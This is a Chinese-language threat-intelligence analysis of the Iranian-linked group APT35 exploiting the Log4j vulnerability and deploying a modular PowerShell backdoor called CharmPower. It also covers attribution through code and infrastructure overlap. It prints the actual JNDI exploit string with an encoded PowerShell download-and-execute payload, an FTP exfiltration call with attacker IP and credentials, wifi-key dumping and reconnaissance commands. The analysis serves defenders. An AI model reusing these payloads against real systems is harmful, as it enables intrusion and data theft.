随着Log4j安全漏洞的出现,研究人员已经看到多个攻击者(主要是出于经济动机)立即将其添加到他们的武器库中。毫不奇怪,一些由国家支持的攻击者也将这个新漏洞视为在潜在目标,在受影响系统修复这个漏洞之前寻找发动攻击的机会。
APT35(又名 Charming Kitten、TA453 或 Phosphorus)被怀疑是由伊朗国家支持的黑客组织,在漏洞被披露后仅仅四天,就开始在公开系统中广泛扫描并试图利用Log4j漏洞。攻击者的攻击设置显然是仓促的,因为他们使用了基本的开源工具进行攻击,并基于之前的基础设施进行操作,这使得攻击更容易被检测和识别。
研究人员会在本文中详细介绍APT35利用Log4j漏洞进行最新攻击的细节,并分析了它们被利用后的活动,包括新的基于powershell的模块化框架CharmPower,该框架用于建立持久性、收集信息和执行命令。
感染链
为了利用Log4j漏洞(CVE-2021-44228),攻击者选择了一个公开可用的开源JNDI 漏洞利用工具包,由于该漏洞出现后,该工具包非常受欢迎,因此已从GitHub中删除。有多篇分析论文解释了该漏洞如何被利用,因此研究人员将跳过实际利用步骤的细节。
感染链
为了利用易受攻击的设备,攻击者向受害者的公开资源发送精心制作的请求。在这种情况下,负载是在 User-Agent 或 HTTP Authorization 标头中发送的:
${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBOUFFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJ1QUdVQWRBQXVBSGNBWlFCaUFHTUFiQUJwQUdVQWJnQjBBQTBBQ2dBa0FGUUFaUUI0QUhRQUlBQTlBQ0FBSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBdUFHUUFid0IzQUc0QWJBQnZBR0VBWkFCVEFIUUFjZ0JwQUc0QVp3QW9BQ0lBYUFCMEFIUUFjQUJ6QURvQUx3QXZBSE1BTXdBdUFHRUFiUUJoQUhvQWJ3QnVBR0VBZHdCekFDNEFZd0J2QUcwQUx3QmtBRzhBWXdCc0FHa0FZZ0J5QUdFQWNnQjVBSE1BWVFCc0FHVUFjd0F2QUhRQVpRQnpBSFFBTGdCMEFIZ0FkQUFpQUNrQURRQUtBSEFBYndCM0FHVUFjZ0J6QUdnQVpRQnNBR3dBSUFBdEFHVUFZd0FnQUNRQVZBQmxBSGdBZEFBPQ==}
成功利用后,利用服务器构建并返回一个恶意 Java 类以在易受攻击的设备上执行。这个类使用base64编码的有效负载运行一个PowerShell命令:
ExploitQVQRSQrKet.cmd = "powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0ACgAkAFQAZQB4AHQAIAA9ACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBkAG8AYwBsAGkAYgByAGEAcgB5AHMAYQBsAGUAcwAvAHQAZQBzAHQALgB0AHgAdAAiACkADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAYwAgACQAVABlAHgAdAA=";
它最终从 Amazon S3 存储桶 URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt 下载 PowerShell 模块,然后执行它:
$WebClient=New-Object net.webclient $Text = $WebClient.downloadString("< >") powershell -ec $Text
CharmPower:基于 PowerShell 的模块化后门
下载的 PowerShell 有效负载是主要模块,负责与 C&C 服务器的基本通信以及接收的附加模块的执行。主模块执行以下操作:
验证网络连接:执行后,脚本通过使用参数 hi=hi 向 google.com 发出 HTTP POST 请求来等待活动的互联网连接。
基本系统枚举:该脚本收集 Windows 操作系统版本、计算机名称以及 $APPDATA 路径中的文件 Ni.txt 的内容,该文件可能由主模块下载的不同模块创建和填充。
检索 C&C 域:恶意软件解码从硬编码 URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/3 检索到的 C&C 域,该 URL 位于下载后门的相同S3 存储桶中。
接收、解密和执行后续模块。
收集完所有的数据后,恶意软件开始与C&C服务器通信,定期发送HTTP POST请求到接收域上的以下URL:
< C&C domain >/Api/Session.
每个请求包含以下POST数据:
Session="[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\Ni.txt]"
C&C 服务器可以通过以下两种方式之一进行响应:
NoComm:无命令,这会导致脚本继续发送 POST 请求。
Base64 字符串:要执行的模块。该模块使用简单的替换密码进行加密,并以 base64 编码。
以下是解码例程的片段:
下载的模块要么是PowerShell脚本,要么是c#代码。每个解码的模块有以下格式:language~code~modulename~action,其中的行为可以是stop、start或downloadutil。后者仅与PowerShell模块相关。
以下代码片段处理模块解析并根据模块的语言执行相关的执行方法:
主模块还可以更改通信通道:每 360 次进行一次C&C 循环,它可以从攻击者的 S3 存储桶中检索一个新域:
C&C 发送的模块由主模块执行,每个模块分别向服务器上报数据。这个 C&C 循环无限期地持续下去,这使得攻击者可以在受感染的设备上收集数据,运行任意命令,并可能通过执行横向移动或执行后续恶意软件(如勒索软件)来升级他们的行动。
模块
每个模块都是由攻击者根据主模块发送的数据自动生成的:每个模块都包含一个硬编码的设备名和一个硬编码的C&C域。
研究人员观察到的所有模块都包含以下共享代码:
加密数据;
通过POST请求或上传到FTP服务器来过滤收集到的数据;
向远程服务器发送执行日志;
除此之外,每个模块都执行一些特定的工作。研究人员设法检索和分析了下一个模块:
列出已安装的应用程序;
截屏;
列出正在运行的进程;
获取操作系统和计算机信息;
从 C&C 执行预定义的命令;
清理由不同模块创建的任何痕迹;
应用模块。
这个模块使用两种方法来获取已安装的应用程序。首先是枚举卸载注册表值:
第二种方法是使用wmic命令:
cmd.exe /c "wmic product get name, InstallLocation, InstallDate, Version /format:csv > $FilePath"
截图模块
研究人员观察到这个模块的c#和PowerShell变体,每个变体都有能力以指定的频率捕获多个截屏,并将结果的截屏上传到FTP服务器,并在脚本中硬编码凭据:
SendByFTP("ftp://" + "54.38.49.6" + ":21/" + "VICTIM-PC__" + "/screen/" + Name + ".jpg", "lesnar", "<a href="/cdn-cgi/l/email-protection" data-cfemail="9dfca4a5a5ffa4a5a5bcdd">[email protected]</a>#", FilePath);
c#脚本使用base64编码的PowerShell命令从多个屏幕上截屏:
流程模块
这个模块尝试使用tasklist命令获取正在运行的进程:
cmd.exe /c "tasklist /v /FO csv > $FilePath"
系统信息模块
这个模块包含一组PowerShell命令,奇怪的是,这些命令被注释掉了。系统只执行systeminfo命令。
#$Path = systeminfo #$Hosts=$Path|Select-String "Host Name:" #$OSName=$Path|Select-String "OS Name:" #$RegisteredOwner=$Path|Select-String "Registered Owner:" #$SystemBootTime=$Path|Select-String "System Boot Time:" #$SystemModel=$Path|Select-String "System Model:" #$SystemType=$Path|Select-String "System Type:" #$SystemDirectory=$Path|Select-String "System Directory:" #$TimeZone=$Path|Select-String "Time Zone:" #$infos=$Hosts.ToString()+"`r`n"+$OSName.ToString()+"`r`n"+$RegisteredOwner.ToString()+"`r`n"+$SystemBootTime.ToString()+"`r`n"+$SystemModel.ToString()+"`r`n"+$SystemType.ToString()+"`r`n"+$SystemDirectory.ToString()+"`r`n"+$TimeZone.ToString() #$infos | Out-File -FilePath $FilePath #Get-Date -Format "yyyy/dd/MM HH:mm" | Out-File -FilePath $FilePath -append #ipconfig /all | findstr /C:"IPv4" /C:"Physical Address" >> $FilePath systeminfo | Out-File -FilePath $FilePath -append -Encoding UTF8
从注释掉的命令中,研究人员可以了解攻击者如何组织系统信息、他们感兴趣的数据以及发送更多模块时可能考虑的内容。
命令执行模块
攻击者可以通过使用预定义的操作运行这个专用模块来执行远程命令,这个模块尝试执行一个命令。它对基于 PowerShell 的模块使用 PowerShell Invoke-Expression 方法,而其 C# 实现同时具有 cmd 和 PowerShell 选项。
在分析过程中,研究人员观察了攻击者如何创建和发送下一个命令执行模块:
使用cd C:/; ls列出 C:/ drive内容;
使用 netsh wlan show profiles name='< Name >' key=clear;
使用Get-PSDrive列出驱动器。
清理模块
该模块将在攻击者完成他们的活动并想从系统中删除任何痕迹后被删除,该模块包含清理注册表和启动文件夹中与持久性相关的工件、创建的文件和运行的进程的方法。
该模块包含五个硬编码级别,具体取决于攻击阶段,每个级别都有不同的用途。执行级别由攻击者在每种特定情况下预先确定:
CleanupModules函数试图阻止所有与之前运行的模块相关的正在运行的进程:
模块中的另一个函数试图删除攻击者可能使用的其他指示符:
从研究人员对该模块的检查来看,很明显,攻击者希望在他们认为有必要的情况下将感染保留在设备上,并且一旦达到他们的目标,就能够消失得无影无踪。
归因
通常,APT攻击者会确保更改他们的工具和基础设施,以避免被发现,并使归因变得更加困难。然而,APT35不符合这种行为。该组织在网络安全界因其在之前的行动中犯下的OpSec错误而闻名,而且一旦暴露,他们往往不会花太多精力去改变他们的基础设施。毫无疑问,这里描述的它们的操作在代码和基础设施上与以前的APT35活动有很大的重叠。
代码重叠
2021年10月,谷歌威胁分析集团发表了一篇关于APT35移动恶意软件的 文章 。尽管研究人员分析的样本是PowerShell脚本,但它们与谷歌归因于APT35的Android间谍软件之间的编码风格相似,立即吸引了研究人员的注意。
首先,日志功能的实现是相同的。Android 应用使用以下格式将其操作记录到 C&C 服务器:MAC=< DEVICE_NAME >&Log=< LOG >&ModuleName=< MODULE_NAME >&Status=< STATUS >
public static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException, UnsupportedEncodingException { if (haveNetworkConnection()) { Send_Data_By_Http(Constants.Server_TargetLog, (((((("MAC=" + str) + "&Log=") + str2) + "&ModuleName=") + str3) + "&Status=") + str4); } }
PowerShell 模块也包含相同的日志记录格式,即使命令被注释掉并替换为另一种格式。这些行没有被彻底删除的事实可能表明该更改是最近才完成的。
日志消息的语法也是相同的。以下是Android应用程序代码:
Functions.post_log(Functions.MAC, "Successfully Finish Monitor Permissions module.", "Monitor Permissions", "Success", Constants.Domain);
下面是脚本中的日志代码示例:
SendLog("VICTIM-PC__", "Successfully Finish Screen module.", "Screen", "Success", TargetLog);移动版和 PowerShell 版在 C&C 通信中使用相同的唯一参数 Stack=Overflow:
在归因于 APT35 的移动恶意软件中使用 Stack=Overflow 参数
在PowerShell版本中使用Stack=Overflow参数
基础设施重叠
根据研究人员对APT35 Android恶意软件的分析,移动样本的C&C服务器有以下API端点:
/Api/Session /Api/GetPublicIp /Api/AndroidTargetLog /Api/AndroidDownload /Api/AndroidBigDownload /Api/AndroidHttpModuleData /Api/HttpModuleDataAppend /Api/IsRunAudioRecorder /Api/IsRunClipboard /Api/IsRunGPS
根据研究人员能够检索到的模块,PowerShell恶意软件的C&C有以下API端点:
/Api/Session /Api/TargetLogEnc /Api/BigDownloadEnc
移动和PowerShell变体的C&C服务器共享API端点/ API /Session。由于功能和平台的不同,其他API端点是相似的,但并不完全相同。
更有趣的是,额外的测试表明,不仅 URL 相似,而且 PowerShell 变体的 C&C 域实际上响应了移动变体中使用的 API 请求。
PowerShell示例中的C&C响应/Api/GetPublicIp Api请求
PowerShell变体C&C对/Api/IsRunAudioRecorder Api端点的响应
其余 API 端点以 405 HTTP 错误响应,这与不存在的 URL 的响应不同(/Api/RANDOM_STRING 始终以 404 HTTP 错误响应)。
PowerShell 变体 C&C 对 /Api/AndroidBigDownload API 端点的响应
研究人员的结论是,PowerShell 变体的 C&C 支持与移动变体相同的 C&C 通信协议。两台 C&C 服务器都运行类似的服务器端代码,并且可能由同一个攻击者操作。
研究人员分析了这次攻击的基础设施并进行了一些观察,结论如下:
研究人员在本次攻击活动中观察到的所有服务器都是由OVH SAS和Hetzner Online GmbH托管的。这不是 APT35 第一次使用这些托管服务提供商,并且结合 C&C 域共享的特定模式 (0< word >< letter >< word >0.xyz),它为进一步寻找提供了一些线索。
当研究人员调查基础架构时,他们发现其中一台 C&C 服务器使用使用 127.0.0.1 作为 C&C 服务器的模块进行响应。这可能是一个开发服务器,因为研究人员没有在已知的感染链中看到它。模块代码中的错误数量也表明基于 PowerShell 的恶意软件仍在积极开发中。
C&C 服务器响应模块所需的时间以及它响应的模块类型在受害者之间存在显着差异。这可能是 C&C 手动操作的证据,由操作员决定哪些目标感兴趣,哪些不感兴趣。
更多的利用尝试
以 APT35 为名跟踪的多项活动包括范围、目标和方法差异很大的操作。有一些操作严重依赖先进的鱼叉式网络钓鱼技术进行监控。另一方面,去年,研究人员看到有证据表明这些攻击者也进入了勒索软件领域。在所描述的攻击开始后的第二天,APT35 的一个组织又发起了另一场大规模的活动,专门针对以色列网络。这一次,他们没有使用开源的 Log4j 漏洞利用服务器,而是自己实现了漏洞利用,但重用了之前公开的专门用于勒索软件操作的基础设施。
恶意 Java 类的部分代码,所有指标与 Microsoft & The DFIR Report 的分析一致,表明攻击者抓住机会将 Windows 和 Linux 的多个攻击阶段组合成一个漏洞:
总结
Log4j漏洞的简单性和大量易受攻击的设备的结合,使其成为一个非常吸引人的漏洞,例如APT35。
在这些攻击中,攻击者仍然使用与之前许多攻击相同或类似的基础设施。然而,从他们利用Log4j漏洞的能力和CharmPower后门的代码片段来看,攻击者能够迅速改变策略,并积极地为攻击的每个阶段开发不同的实现。